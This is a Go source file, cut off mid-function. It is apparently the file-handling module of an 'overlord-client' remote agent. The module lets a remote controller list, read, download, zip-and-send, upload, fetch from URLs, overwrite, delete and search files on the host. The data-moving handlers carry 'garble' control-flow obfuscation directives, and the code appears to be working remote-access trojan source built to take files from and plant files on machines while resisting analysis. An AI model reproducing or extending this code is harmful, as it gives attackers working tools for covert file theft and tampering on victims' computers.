1044 lines
25 KiB
Go
1044 lines
25 KiB
Go
package handlers
|
|
|
|
import (
|
|
"archive/zip"
|
|
"bufio"
|
|
"bytes"
|
|
"context"
|
|
"crypto/tls"
|
|
"crypto/x509"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"net/url"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
"unicode/utf8"
|
|
|
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
|
"overlord-client/cmd/agent/wire"
|
|
)
|
|
|
|
const maxChunkSize = 1024 * 1024
|
|
|
|
type pendingUpload struct {
|
|
file *os.File
|
|
tmpPath string
|
|
finalPath string
|
|
total int64
|
|
receivedBytes int64
|
|
receivedOffsets map[int64]int64
|
|
chunkSize int64
|
|
expectedChunks int
|
|
transferID string
|
|
}
|
|
|
|
var (
|
|
pendingUploadsMu sync.Mutex
|
|
pendingUploads = map[string]*pendingUpload{}
|
|
)
|
|
|
|
func uploadKey(path, transferID string) string {
|
|
if transferID != "" {
|
|
return transferID
|
|
}
|
|
return path
|
|
}
|
|
|
|
func cleanupPendingUpload(key string, pending *pendingUpload) {
|
|
pendingUploadsMu.Lock()
|
|
delete(pendingUploads, key)
|
|
pendingUploadsMu.Unlock()
|
|
if pending == nil {
|
|
return
|
|
}
|
|
if pending.file != nil {
|
|
_ = pending.file.Close()
|
|
}
|
|
if pending.tmpPath != "" {
|
|
_ = os.Remove(pending.tmpPath)
|
|
}
|
|
}
|
|
|
|
func HandleFileList(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
|
log.Printf("file_list: %s", path)
|
|
|
|
if path == "" {
|
|
path = "."
|
|
}
|
|
|
|
if path == "." && runtime.GOOS == "windows" {
|
|
return listWindowsDrives(ctx, env, cmdID)
|
|
}
|
|
|
|
if path == "." && runtime.GOOS != "windows" {
|
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
|
path = homeDir
|
|
}
|
|
}
|
|
|
|
absPath, err := filepath.Abs(path)
|
|
if err == nil {
|
|
path = absPath
|
|
}
|
|
|
|
entries := []wire.FileEntry{}
|
|
var errMsg string
|
|
|
|
dirEntries, err := os.ReadDir(path)
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
log.Printf("file_list error: %v", err)
|
|
} else {
|
|
for _, entry := range dirEntries {
|
|
info, err := entry.Info()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
fullPath := filepath.Join(path, entry.Name())
|
|
fileEntry := wire.FileEntry{
|
|
Name: entry.Name(),
|
|
Path: fullPath,
|
|
IsDir: entry.IsDir(),
|
|
Size: info.Size(),
|
|
ModTime: info.ModTime().Unix(),
|
|
}
|
|
|
|
enrichFileEntry(&fileEntry, info)
|
|
|
|
entries = append(entries, fileEntry)
|
|
}
|
|
}
|
|
|
|
result := wire.FileListResult{
|
|
Type: "file_list_result",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Entries: entries,
|
|
Error: errMsg,
|
|
}
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
|
|
entries := []wire.FileEntry{}
|
|
|
|
for drive := 'A'; drive <= 'Z'; drive++ {
|
|
drivePath := string(drive) + ":\\"
|
|
if _, err := os.Stat(drivePath); err == nil {
|
|
|
|
entries = append(entries, wire.FileEntry{
|
|
Name: string(drive) + ":",
|
|
Path: drivePath,
|
|
IsDir: true,
|
|
Size: 0,
|
|
ModTime: time.Now().Unix(),
|
|
})
|
|
}
|
|
}
|
|
|
|
result := wire.FileListResult{
|
|
Type: "file_list_result",
|
|
CommandID: cmdID,
|
|
Path: ".",
|
|
Entries: entries,
|
|
Error: "",
|
|
}
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
|
log.Printf("file_download: %s", path)
|
|
|
|
file, err := os.Open(path)
|
|
if err != nil {
|
|
result := wire.FileDownload{
|
|
Type: "file_download",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
defer file.Close()
|
|
|
|
stat, err := file.Stat()
|
|
if err != nil {
|
|
result := wire.FileDownload{
|
|
Type: "file_download",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
total := stat.Size()
|
|
offset := int64(0)
|
|
buffer := make([]byte, maxChunkSize)
|
|
chunksTotal := 0
|
|
if total > 0 {
|
|
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
|
|
}
|
|
chunkIndex := 0
|
|
reader := bufio.NewReader(file)
|
|
|
|
for {
|
|
n, err := io.ReadFull(reader, buffer)
|
|
if err == io.EOF {
|
|
break
|
|
}
|
|
if err != nil && err != io.ErrUnexpectedEOF {
|
|
result := wire.FileDownload{
|
|
Type: "file_download",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Error: err.Error(),
|
|
Offset: offset,
|
|
Total: total,
|
|
ChunkIndex: chunkIndex,
|
|
ChunksTotal: chunksTotal,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
if n > 0 {
|
|
chunk := wire.FileDownload{
|
|
Type: "file_download",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Data: buffer[:n],
|
|
Offset: offset,
|
|
Total: total,
|
|
ChunkIndex: chunkIndex,
|
|
ChunksTotal: chunksTotal,
|
|
}
|
|
|
|
if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
|
|
return err
|
|
}
|
|
offset += int64(n)
|
|
chunkIndex++
|
|
}
|
|
|
|
if err == io.ErrUnexpectedEOF {
|
|
break
|
|
}
|
|
}
|
|
|
|
log.Printf("file_download complete: %s (%d bytes)", path, total)
|
|
return nil
|
|
}
|
|
|
|
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
|
if total > 0 {
|
|
key := uploadKey(path, transferID)
|
|
pendingUploadsMu.Lock()
|
|
pending := pendingUploads[key]
|
|
pendingUploadsMu.Unlock()
|
|
|
|
if pending == nil {
|
|
log.Printf("file_upload start: %s (total: %d bytes)", path, total)
|
|
dir := filepath.Dir(path)
|
|
if dir != "." {
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
}
|
|
|
|
tmpPath := path + ".uploading"
|
|
if transferID != "" {
|
|
tmpPath = path + ".uploading." + transferID
|
|
}
|
|
file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY, 0644)
|
|
if err != nil {
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
pending = &pendingUpload{
|
|
file: file,
|
|
tmpPath: tmpPath,
|
|
finalPath: path,
|
|
total: total,
|
|
receivedOffsets: map[int64]int64{},
|
|
transferID: transferID,
|
|
}
|
|
|
|
pendingUploadsMu.Lock()
|
|
pendingUploads[key] = pending
|
|
pendingUploadsMu.Unlock()
|
|
}
|
|
|
|
end := offset + int64(len(data))
|
|
if offset < 0 || end > pending.total {
|
|
cleanupPendingUpload(key, pending)
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Received: pending.receivedBytes,
|
|
Total: pending.total,
|
|
Error: "upload chunk exceeds declared total size",
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
if pending.chunkSize == 0 && len(data) > 0 {
|
|
pending.chunkSize = int64(len(data))
|
|
pending.expectedChunks = int((pending.total + pending.chunkSize - 1) / pending.chunkSize)
|
|
}
|
|
|
|
if pending.file != nil {
|
|
if _, err := pending.file.WriteAt(data, offset); err != nil {
|
|
cleanupPendingUpload(key, pending)
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Received: pending.receivedBytes,
|
|
Total: pending.total,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
}
|
|
|
|
if _, exists := pending.receivedOffsets[offset]; !exists {
|
|
pending.receivedOffsets[offset] = int64(len(data))
|
|
pending.receivedBytes += int64(len(data))
|
|
}
|
|
|
|
hasAllChunks := pending.expectedChunks > 0
|
|
if hasAllChunks {
|
|
hasAllChunks = len(pending.receivedOffsets) >= pending.expectedChunks
|
|
}
|
|
|
|
if pending.total > 0 && pending.receivedBytes >= pending.total && hasAllChunks {
|
|
if pending.file != nil {
|
|
_ = pending.file.Sync()
|
|
_ = pending.file.Close()
|
|
}
|
|
_ = os.Remove(pending.finalPath)
|
|
if err := os.Rename(pending.tmpPath, pending.finalPath); err != nil {
|
|
cleanupPendingUpload(key, pending)
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Received: pending.receivedBytes,
|
|
Total: pending.total,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
log.Printf("file_upload complete: %s (%d bytes)", path, pending.total)
|
|
cleanupPendingUpload(key, pending)
|
|
}
|
|
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: true,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Received: pending.receivedBytes,
|
|
Total: pending.total,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
dir := filepath.Dir(path)
|
|
log.Printf("file_upload start: %s", path)
|
|
if dir != "." {
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
}
|
|
|
|
flag := os.O_CREATE | os.O_WRONLY
|
|
if offset == 0 {
|
|
flag |= os.O_TRUNC
|
|
}
|
|
|
|
file, err := os.OpenFile(path, flag, 0644)
|
|
if err != nil {
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
defer file.Close()
|
|
|
|
if offset > 0 {
|
|
if _, err = file.Seek(offset, 0); err != nil {
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
}
|
|
|
|
if _, err = file.Write(data); err != nil {
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: false,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
log.Printf("file_upload complete: %s (%d bytes)", path, offset+int64(len(data)))
|
|
|
|
result := wire.FileUploadResult{
|
|
Type: "file_upload_result",
|
|
CommandID: cmdID,
|
|
TransferID: transferID,
|
|
Path: path,
|
|
OK: true,
|
|
Offset: offset,
|
|
Size: int64(len(data)),
|
|
Received: offset + int64(len(data)),
|
|
Total: total,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID string, destPath string, sourceURL string, expectedSize int64) error {
|
|
parsed, err := url.Parse(strings.TrimSpace(sourceURL))
|
|
if err != nil || parsed == nil || parsed.Host == "" {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "invalid upload url"})
|
|
}
|
|
if parsed.Scheme != "https" && parsed.Scheme != "http" {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unsupported upload url scheme"})
|
|
}
|
|
|
|
tlsConfig := &tls.Config{InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, MinVersion: tls.VersionTLS12}
|
|
if caPath := strings.TrimSpace(env.Cfg.TLSCAPath); caPath != "" {
|
|
caBytes, err := os.ReadFile(caPath)
|
|
if err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("failed to read TLS CA: %v", err)})
|
|
}
|
|
pool := x509.NewCertPool()
|
|
if !pool.AppendCertsFromPEM(caBytes) {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "failed to parse TLS CA"})
|
|
}
|
|
tlsConfig.RootCAs = pool
|
|
}
|
|
|
|
client := &http.Client{Transport: &http.Transport{TLSClientConfig: tlsConfig}}
|
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, parsed.String(), nil)
|
|
if err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" {
|
|
req.Header.Set("x-agent-token", token)
|
|
}
|
|
if id := strings.TrimSpace(env.Cfg.ID); id != "" {
|
|
req.Header.Set("x-overlord-client-id", id)
|
|
}
|
|
|
|
resp, err := client.Do(req)
|
|
if err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
defer resp.Body.Close()
|
|
|
|
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("upload fetch failed: status %d", resp.StatusCode)})
|
|
}
|
|
|
|
dir := filepath.Dir(destPath)
|
|
if dir != "." {
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
}
|
|
|
|
tmpPath := destPath + ".httpuploading"
|
|
f, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
|
|
if err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
|
|
written, copyErr := io.Copy(f, resp.Body)
|
|
closeErr := f.Close()
|
|
if copyErr != nil {
|
|
_ = os.Remove(tmpPath)
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: copyErr.Error()})
|
|
}
|
|
if closeErr != nil {
|
|
_ = os.Remove(tmpPath)
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: closeErr.Error()})
|
|
}
|
|
|
|
if expectedSize > 0 && written != expectedSize {
|
|
_ = os.Remove(tmpPath)
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "upload size mismatch"})
|
|
}
|
|
|
|
_ = os.Remove(destPath)
|
|
if err := os.Rename(tmpPath, destPath); err != nil {
|
|
_ = os.Remove(tmpPath)
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
}
|
|
|
|
func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
|
log.Printf("file_delete: %s", path)
|
|
|
|
err := os.RemoveAll(path)
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileMkdir(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
|
log.Printf("file_mkdir: %s", path)
|
|
|
|
err := os.MkdirAll(path, 0755)
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
|
|
log.Printf("file_zip: %s", sourcePath)
|
|
|
|
zipPath := sourcePath + ".zip"
|
|
zipFile, err := os.Create(zipPath)
|
|
if err != nil {
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: false,
|
|
Message: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
defer zipFile.Close()
|
|
|
|
zipWriter := zip.NewWriter(zipFile)
|
|
defer zipWriter.Close()
|
|
|
|
totalFiles := 0
|
|
filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
|
|
if err == nil && !info.IsDir() {
|
|
totalFiles++
|
|
}
|
|
return nil
|
|
})
|
|
|
|
progressMsg := wire.CommandResult{
|
|
Type: "command_progress",
|
|
CommandID: cmdID,
|
|
OK: true,
|
|
Message: fmt.Sprintf("Zipping 0/%d files...", totalFiles),
|
|
}
|
|
wire.WriteMsg(ctx, env.Conn, progressMsg)
|
|
|
|
processedFiles := 0
|
|
lastProgressUpdate := time.Now()
|
|
|
|
err = filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
select {
|
|
case <-ctx.Done():
|
|
return ctx.Err()
|
|
default:
|
|
}
|
|
|
|
header, err := zip.FileInfoHeader(info)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
relPath, err := filepath.Rel(sourcePath, path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
header.Name = relPath
|
|
|
|
if info.IsDir() {
|
|
header.Name += "/"
|
|
} else {
|
|
header.Method = zip.Deflate
|
|
}
|
|
|
|
writer, err := zipWriter.CreateHeader(header)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
if !info.IsDir() {
|
|
file, err := os.Open(path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer file.Close()
|
|
_, err = io.Copy(writer, file)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
processedFiles++
|
|
|
|
now := time.Now()
|
|
if now.Sub(lastProgressUpdate) > 500*time.Millisecond || processedFiles%10 == 0 {
|
|
progress := wire.CommandResult{
|
|
Type: "command_progress",
|
|
CommandID: cmdID,
|
|
OK: true,
|
|
Message: fmt.Sprintf("Zipping %d/%d files...", processedFiles, totalFiles),
|
|
}
|
|
wire.WriteMsg(ctx, env.Conn, progress)
|
|
lastProgressUpdate = now
|
|
}
|
|
}
|
|
|
|
return nil
|
|
})
|
|
|
|
if err != nil {
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: false,
|
|
Message: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
zipWriter.Close()
|
|
zipFile.Close()
|
|
|
|
finalProgress := wire.CommandResult{
|
|
Type: "command_progress",
|
|
CommandID: cmdID,
|
|
OK: true,
|
|
Message: fmt.Sprintf("Zip complete. %d files compressed.", processedFiles),
|
|
}
|
|
wire.WriteMsg(ctx, env.Conn, finalProgress)
|
|
|
|
time.Sleep(100 * time.Millisecond)
|
|
goSafe("file download", nil, func() {
|
|
HandleFileDownload(ctx, env, cmdID, zipPath)
|
|
})
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: true,
|
|
Message: "Zip created: " + zipPath,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
|
log.Printf("file_read: %s", path)
|
|
|
|
if maxSize == 0 {
|
|
maxSize = 10 * 1024 * 1024
|
|
}
|
|
|
|
info, err := os.Stat(path)
|
|
if err != nil {
|
|
result := wire.FileReadResult{
|
|
Type: "file_read_result",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
if info.Size() > maxSize {
|
|
result := wire.FileReadResult{
|
|
Type: "file_read_result",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Error: fmt.Sprintf("file too large: %d bytes (max: %d)", info.Size(), maxSize),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
result := wire.FileReadResult{
|
|
Type: "file_read_result",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Error: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
isBinary := !utf8.Valid(data)
|
|
|
|
result := wire.FileReadResult{
|
|
Type: "file_read_result",
|
|
CommandID: cmdID,
|
|
Path: path,
|
|
Content: string(data),
|
|
IsBinary: isBinary,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
|
log.Printf("file_write: %s", path)
|
|
|
|
dir := filepath.Dir(path)
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: false,
|
|
Message: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
err := os.WriteFile(path, []byte(content), 0644)
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileSearch(ctx context.Context, env *agentRuntime.Env, cmdID string, searchID string, basePath string, pattern string, searchContent bool, maxResults int) error {
|
|
log.Printf("file_search: path=%s pattern=%s content=%v", basePath, pattern, searchContent)
|
|
|
|
if maxResults == 0 {
|
|
maxResults = 1000
|
|
}
|
|
|
|
results := []wire.FileSearchMatch{}
|
|
matchCount := 0
|
|
|
|
err := filepath.Walk(basePath, func(path string, info os.FileInfo, err error) error {
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
|
|
if matchCount >= maxResults {
|
|
return filepath.SkipAll
|
|
}
|
|
|
|
if !searchContent {
|
|
if strings.Contains(strings.ToLower(info.Name()), strings.ToLower(pattern)) {
|
|
results = append(results, wire.FileSearchMatch{
|
|
Path: path,
|
|
})
|
|
matchCount++
|
|
}
|
|
return nil
|
|
}
|
|
|
|
if !info.IsDir() && info.Size() < 10*1024*1024 {
|
|
data, err := os.ReadFile(path)
|
|
if err != nil || !utf8.Valid(data) {
|
|
return nil
|
|
}
|
|
|
|
scanner := bufio.NewScanner(bytes.NewReader(data))
|
|
lineNum := 1
|
|
for scanner.Scan() {
|
|
line := scanner.Text()
|
|
if strings.Contains(strings.ToLower(line), strings.ToLower(pattern)) {
|
|
results = append(results, wire.FileSearchMatch{
|
|
Path: path,
|
|
Line: lineNum,
|
|
Match: line,
|
|
})
|
|
matchCount++
|
|
if matchCount >= maxResults {
|
|
break
|
|
}
|
|
}
|
|
lineNum++
|
|
}
|
|
}
|
|
|
|
return nil
|
|
})
|
|
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.FileSearchResult{
|
|
Type: "file_search_result",
|
|
CommandID: cmdID,
|
|
SearchID: searchID,
|
|
Results: results,
|
|
Complete: true,
|
|
Error: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileCopy(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
|
|
log.Printf("file_copy: %s -> %s", source, dest)
|
|
|
|
info, err := os.Stat(source)
|
|
if err != nil {
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: false,
|
|
Message: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
if info.IsDir() {
|
|
err = copyDir(source, dest)
|
|
} else {
|
|
err = copyFile(source, dest)
|
|
}
|
|
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func HandleFileMove(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
|
|
log.Printf("file_move: %s -> %s", source, dest)
|
|
|
|
destDir := filepath.Dir(dest)
|
|
if err := os.MkdirAll(destDir, 0755); err != nil {
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: false,
|
|
Message: err.Error(),
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
err := os.Rename(source, dest)
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.CommandResult{
|
|
Type: "command_result",
|
|
CommandID: cmdID,
|
|
OK: ok,
|
|
Message: errMsg,
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, result)
|
|
}
|
|
|
|
func copyFile(src, dst string) error {
|
|
sourceFile, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer sourceFile.Close()
|
|
|
|
destFile, err := os.Create(dst)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer destFile.Close()
|
|
|
|
_, err = io.Copy(destFile, sourceFile)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
sourceInfo, err := os.Stat(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.Chmod(dst, sourceInfo.Mode())
|
|
}
|
|
|
|
func copyDir(src, dst string) error {
|
|
sourceInfo, err := os.Stat(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
if err := os.MkdirAll(dst, sourceInfo.Mode()); err != nil {
|
|
return err
|
|
}
|
|
|
|
entries, err := os.ReadDir(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
for _, entry := range entries {
|
|
srcPath := filepath.Join(src, entry.Name())
|
|
dstPath := filepath.Join(dst, entry.Name())
|
|
|
|
if entry.IsDir() {
|
|
if err := copyDir(srcPath, dstPath); err != nil {
|
|
return err
|
|
}
|
|
} else {
|
|
if err := copyFile(srcPath, dstPath); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, mode string) error {
|
|
log.Printf("file_chmod: %s mode=%s", path, mode)
|
|
|
|
err := ChangeFilePermissions(path, mode)
|
|
ok := err == nil
|
|
errMsg := ""
|
|
if err != nil {
|
|
errMsg = err.Error()
|
|
}
|
|
|
|
result := wire.CommandResult{
|
